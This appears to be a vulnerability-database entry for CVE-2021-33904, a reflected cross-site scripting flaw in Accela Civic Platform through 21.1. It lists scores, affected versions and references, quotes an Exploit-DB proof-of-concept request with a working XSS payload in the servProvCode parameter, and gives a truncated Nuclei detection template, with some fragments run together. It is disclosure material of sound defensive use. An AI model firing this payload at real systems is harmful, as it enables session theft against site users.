CVE-2021-33904
published 2021-06-07CVE-2021-33904: In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS. NOTE: The vendor states "there are configurable…
PriorityP343medium6.1CVSS 3.1
AVNACLPRNUIRSCCLILAN
EXPLOIT
EPSS
10.05%
95.0th percentile
In Accela Civic Platform through 21.1, the security/hostSignon.do parameter servProvCode is vulnerable to XSS. NOTE: The vendor states "there are configurable security flags and we are unable to reproduce them with the available information.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| accela | civic_platform | <= 21.1 | — |
CVSS provenance
nvdv3.16.1MEDIUMCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
nvdv2.04.3MEDIUMAV:N/AC:M/Au:N/C:N/I:P/A:N
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Exploit-DB
Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
exploitdb·2021-06-11·CVSS 6.1
CVE-2021-33904 [MEDIUM] Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
---
# Exploit Title: Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS)
# Exploit Author: Abdulazeez Alaseeri
# Software Link: https://www.accela.com/civic-platform/
# Version: <= 21.1
# Tested on: JBoss server/windows
# Type: Web App
# Date: 06/07/2021
# CVE: CVE-2021-33904
Accela Civic Platform Cross-Site-Scripting <= 21.1
Request Heeaders start
GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1
Host: Hidden for security reasons
Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=1623004368673; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.4
Nuclei
Accela Civic Platform <=21.1 - Cross-Site Scripting
nuclei·CVSS 6.1
CVE-2021-33904 [MEDIUM] Accela Civic Platform <=21.1 - Cross-Site Scripting
Accela Civic Platform 21.1) that includes proper input validation to mitigate the XSS vulnerability.
reference:
- https://www.exploit-db.com/exploits/49980
- https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
- http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-33904
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-33904
cwe-id: CWE-79
epss-score: 0.12306
epss-percentile: 0.9388
cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: accela
product: civic_platform
tags: cve,cve2021,accela,xss,edb,packetstorm,vuln
http:
- method: GET
path:
- "{{BaseURL}}/security/
http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.htmlhttps://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.htmlhttps://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
2021-06-07
Published